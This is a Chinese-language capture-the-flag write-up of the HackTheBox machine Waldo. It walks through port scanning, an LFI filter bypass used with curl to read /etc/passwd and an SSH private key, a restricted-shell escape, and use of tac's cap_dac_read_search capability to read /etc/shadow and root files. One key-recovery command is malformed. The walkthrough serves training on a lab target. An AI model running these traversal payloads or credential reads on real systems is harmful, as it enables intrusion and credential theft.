> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Waldo HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**技能：**

* LFI（本地文件包含）- 过滤绕过
* 通过 LFI 获取用户的 SSH 私钥
* 从容器中逃逸
* 受限 Shell 绕过
* 滥用 Capabilities（cap\_dac\_read\_search+ei）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/8b03d3f58285f228ef3505ce82b1a8ed30d0e21d" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/356ed0d7bbfee2c39232bd5a6648b42cf5870e06" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="/files/a4be6adc350e53a0f076f49db9afb566d5389332" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描 22,80：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="/files/308f60b36548d7fd0116f34006570640cf2a8451" alt=""><figcaption></figcaption></figure>

## 80 端口利用

<figure><img src="/files/5490ad9ae8ef42eb3382ebf278980341c545d9f8" alt=""><figcaption></figcaption></figure>

#### 使用 Burp Suite 拦截

我们分析请求并识别出一个漏洞 **LFI** （本地文件包含）。

<figure><img src="/files/260d5bcd9d914d833a801009fdbf936d39bd0ae4" alt=""><figcaption></figcaption></figure>

### 基础 LFI 测试

我们尝试访问 `/etc/passwd`:

```
../../../../etc/passwd
```

这不起作用。

<figure><img src="/files/acaa3d0a7677d57e25b50c81e48fae68333a08b7" alt=""><figcaption></figcaption></figure>

### LFI 过滤绕过

我们正在测试一个绕过方法，使用

```
....//....//../....//..//....//etc/passwd
```

这个绕过方法有效，现在我们可以列出 `/etc/passwd` 文件中的用户进行测试。

<figure><img src="/files/3760b6aed70a2b0775b9814973539bb3c8ceac21" alt=""><figcaption></figcaption></figure>

#### 使用 Curl 提取文件

我们使用 `curl` 通过存在漏洞的端点恢复该文件：

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

我们找到用户 **nobody**.

<figure><img src="/files/3f31f6849e280e500b63b4d223936f6a95703c9f" alt=""><figcaption></figcaption></figure>

### 访问 `.ssh` nobody 的目录

我们拦截来自 `list.html` 页面的请求，并注意到 `path` 变量用于恢复文件。

<figure><img src="/files/e2692eed87e47763d6b5565e67ffa7229cd98747" alt=""><figcaption></figcaption></figure>

我们探索以下用户的 home 目录 `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="/files/661ed0f563acfb66f7490c68b203e9e34d633de9" alt=""><figcaption></figcaption></figure>

我们找到一个 `.monitor` 文件中的用户进行测试。

#### SSH 私钥提取

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

我们拿到了一把私钥。

<figure><img src="/files/4cc2331d454310cb43dc68bced326f7ddbc923a9" alt=""><figcaption></figcaption></figure>

#### 连接到 nobody 的 SSH

我们使用恢复出的密钥进行连接：

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="/files/6f91e140e320cc94bb91024b1aedb24e88cbddad" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/e3d48e232d75f0e38686531532d14295c94fe9a4" alt="" width="499"><figcaption></figcaption></figure>

## 切换到 operator 用户

我们识别出一个用户 `运算符`

<figure><img src="/files/3c13c6113f0316897848a5dfd7a37b722b7ee1ce" alt=""><figcaption></figcaption></figure>

我们找到一个 `authorized_keys` 属于的文件 `monitor`.

<figure><img src="/files/af5dc93e71be6f266c6202a3094df185548ad86a" alt=""><figcaption></figcaption></figure>

#### 连接到 monitor 的 SSH

```bash
ssh monitor@127.0.0.1 -i .monitor
```

我们发现自己处于一个小型 shell（`rbash`).

<figure><img src="/files/73ac3abcea9d31c6e3293f5ca4cfbf6dd8568dd4" alt=""><figcaption></figcaption></figure>

### 受限 Shell 绕过

我们通过指定以下命令启动 SSH 会话 `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="/files/93e6a6932d511606591186ac61f3430cf96db503" alt=""><figcaption></figcaption></figure>

## 权限提升

### Capabilities- tac

我们列出具有特定 capabilities 的文件：

```bash
getcap -r / 2>/dev/null
```

我们识别出 **tac** 具有 `cap_dac_read_search+ei` 能力：

<figure><img src="/files/ae152ff8b25c234593093c2012d265a9e443cefe" alt=""><figcaption></figcaption></figure>

#### 用于读取受保护文件的 tac 操作

该 `tac` 命令（ `cat`的反向命令）允许我们通过反转文件内容来读取它们。

```bash
tac /etc/shadow
```

<figure><img src="/files/35bac0c2797d3223a07987b7af1b4be555e86432" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

**读取 root.txt 标志**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/a6e820a1e1653f4fbb5924b4d0feded1c11b2313" alt="" width="545"><figcaption></figcaption></figure>

**恢复 SSH root 密钥**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="/files/65857485ed9af1227514426221501622bbec565c" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
